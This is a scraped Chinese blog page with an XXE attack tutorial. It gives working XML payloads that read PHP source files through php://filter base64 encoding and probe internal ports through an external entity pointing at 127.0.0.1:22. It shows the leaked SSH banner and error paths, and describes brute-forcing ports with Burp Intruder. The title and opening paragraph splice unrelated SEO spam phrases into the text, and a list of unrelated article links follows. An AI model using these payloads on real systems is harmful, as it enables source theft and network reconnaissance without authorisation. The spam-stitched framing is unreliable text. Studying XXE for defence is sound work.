当前位置: 首页 > news >正文

如何来做网站优化湖南州省郴州

如何来做网站优化,湖南州省郴州,男科医院收费一览表,wordpress文章链接插件一.如何通过XXE漏洞读取php文件。 前面文章我们已经演示了通过file:///去读取文件&#xff0c;通过XXE漏洞php文件是读取不到的&#xff0c;我们 该如何读取php文件呢&#xff1f; 我们可以通过一下代码实现读取php文件。 <?xml version"1.0" encoding"utf…

一.如何通过XXE漏洞读取php文件。

        前面文章我们已经演示了通过file:///去读取文件,通过XXE漏洞php文件是读取不到的,我们

该如何读取php文件呢?

我们可以通过一下代码实现读取php文件。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
我们得到了一串base64编码:
 PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGEgPSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbCkgOwplY2hvICI8cHJlPiIgOwpwcmludF9yKCRkYXRhKSA7CmVjaG8gIjwvcHJlPiIgOwo/Pgo=

再对base64编码进行解码:

就可以查看到php文件了:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

二.端口探测方式

类似于SSRF漏洞一样进行端口探测,实现起来也非常的简单,代码如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:22" >]>
<root>
<name>&xxe;</name>
</root>

通过实体解析到内网网段22端口。

端口开放返回端口 banner 信息,端口关闭返回 Connection refused

我们看到是有回显的并且包含报错信息:

Warning: simplexml_load_string(http://127.0.0.1:22) [function.simplexml-load-string]: failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 in /var/www/xxe.php on line 3

这条可以看到虽然报错failed to open stream: HTTP request failed! 但还是显示SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

Warning: simplexml_load_string() [function.simplexml-load-string]: I/O warning : failed to load external entity "http://127.0.0.1:22" in /var/www/xxe.php on line 3

这条报错暴露了文件位置以及是simplexml-load-string导致的错误。

可通过 burpsuite 或脚本实现批量探测

如此一来我们就可以探测到端口信息,并且可以使用bp进行暴力枚举:

通过intruder模块进行暴力枚举,设置0-443(实战你们可以直接65545).

然后我们可以通过回显长度进行判断端口存活情况:

以上就是我们的文件读取以及端口探测的方式。

总结:

1)通过php://filter协议以base64编码格式读取PHP文件内容,解码后可获取源代码;

2)结合SSRF技术进行端口探测,通过响应信息判断目标端口开放状态,并可结合BurpSuite批量探测。这两种方法分别实现了敏感文件读取和网络探测功能,其中端口探测会返回banner信息并可能暴露文件路径,通过响应长度差异可判断端口存活情况。

http://www.dtcms.com/a/496830.html

相关文章:

  • 网站建设公司薪资美工怎么做网站效果图
  • 用Lxml高效解析XML格式数据:以天气API为例
  • 哪些动物可以做网站名代做土木工程专业毕业设计网站
  • 门户网站建设情况简介深圳推广公司哪家正规
  • linux——基本操作指令——下
  • 免费的外贸网站推广方法教育类网站 前置审批
  • 广东集团网站建设杭州富阳建设局网站首页
  • 网站建设需要些什么设备wordpress 底部按钮
  • 建设企业网站的模式帮助中心网站源码
  • 9. 数列
  • 建设区服务网站怎么学做电商然后自己创业
  • 公司如何组建网站网站建设旗帜条幅
  • 网站建设的投资预算怎么写关键词seo排名怎么选
  • 兰州网站seo按天计费医疗公司网站建设项目背景
  • linux学习笔记(36)mysql事务详解
  • 【Linux权限机制深入理解】为何没有目录写权限仍能修改文件权限?
  • 网站cms青海网站建设费用
  • Zabbix 监控系统触发器、报警、邮箱方位指南
  • 网站设计三原则推广软文平台
  • 从零学算法3355
  • 北京企业网站怎么建设深圳网站专业建设公司
  • 第七篇《IPv4地址详解:A、B、C类地址是如何划分的?》
  • 专注电子商务网站建设淘金企业网站建设
  • 网站建设和挂标情况清理表一份完整的活动策划方案
  • 算法专题十三:栈
  • 网站创建的流程是什么网站免费正能量软件下载
  • YOLOv3 深度解析:目标检测领域的经典革新
  • pc端网站模型建设工具wordpress 插件有后门
  • 网站怎么做下载苏州集团网站设计公司
  • 井祥交通建设工程有限公司 网站免备案做网站可以盈利吗